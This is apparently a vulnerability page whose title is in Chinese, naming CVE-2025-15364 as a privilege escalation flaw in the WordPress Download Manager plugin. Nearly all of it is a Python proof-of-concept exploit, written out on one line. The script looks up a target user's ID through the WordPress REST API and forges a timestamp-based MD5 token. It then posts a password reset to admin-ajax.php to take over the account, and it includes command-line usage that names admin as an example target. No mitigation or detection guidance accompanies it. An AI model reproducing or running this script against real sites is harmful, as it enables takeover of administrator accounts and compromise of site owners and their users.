CVE-2025-15364 WordPress Download Manager插件特权提升漏洞

import requests import sys # CVE-2025-15364 PoC - WordPress Download Manager Account Takeover # Target: WordPress site with Download Manager plugin <= 3.3.40 def exploit_account_takeover(target_url, username, new_password): """ Exploit for CVE-2025-15364: WordPress Download Manager Privilege Escalation Args: target_url: Target WordPress site URL username: Target username to takeover new_password: New password to set Returns: bool: True if exploitation successful, False otherwise """ # Step 1: Get user ID from username user_query_url = f"{target_url}/wp-json/wp/v2/users/?search={username}" try: response = requests.get(user_query_url, timeout=10) if response.status_code == 200: users = response.json() if users: user_id = users[0]['id'] print(f"[+] Found user ID: {user_id}") else: print("[-] User not found") return False else: print(f"[-] Failed to query user (status: {response.status_code})") return False except Exception as e: print(f"[-] Error querying user: {e}") return False # Step 2: Exploit the account takeover vulnerability exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Generate encrypted payload for password reset bypass import hashlib import time timestamp = str(int(time.time())) token = hashlib.md5(f"{username}{timestamp}".encode()).hexdigest() payload = { 'action': 'wpdm_user_dashboard', 'task': 'reset_password', 'user_id': user_id, 'pass1': new_password, 'pass2': new_password, 'token': token, 'timestamp': timestamp } try: response = requests.post(exploit_url, data=payload, timeout=10) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') > -1 else {} if result.get('success') or 'success' in response.text.lower(): print(f"[+] Successfully changed password for user: {username}") print(f"[+] New password: {new_password}") return True else: print(f"[-] Password change failed") print(f"[-] Response: {response.text[:200]}") return False else: print(f"[-] Exploitation failed (status: {response.status_code})") return False except Exception as e: print(f"[-] Error during exploitation: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-15364.py <target_url> <username> <new_password>") print("Example: python cve-2025-15364.py http://example.com admin MyNewPass123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] print(f"[*] CVE-2025-15364 Exploitation") print(f"[*] Target: {target}") print(f"[*] Target User: {user}") exploit_account_takeover(target, user, password)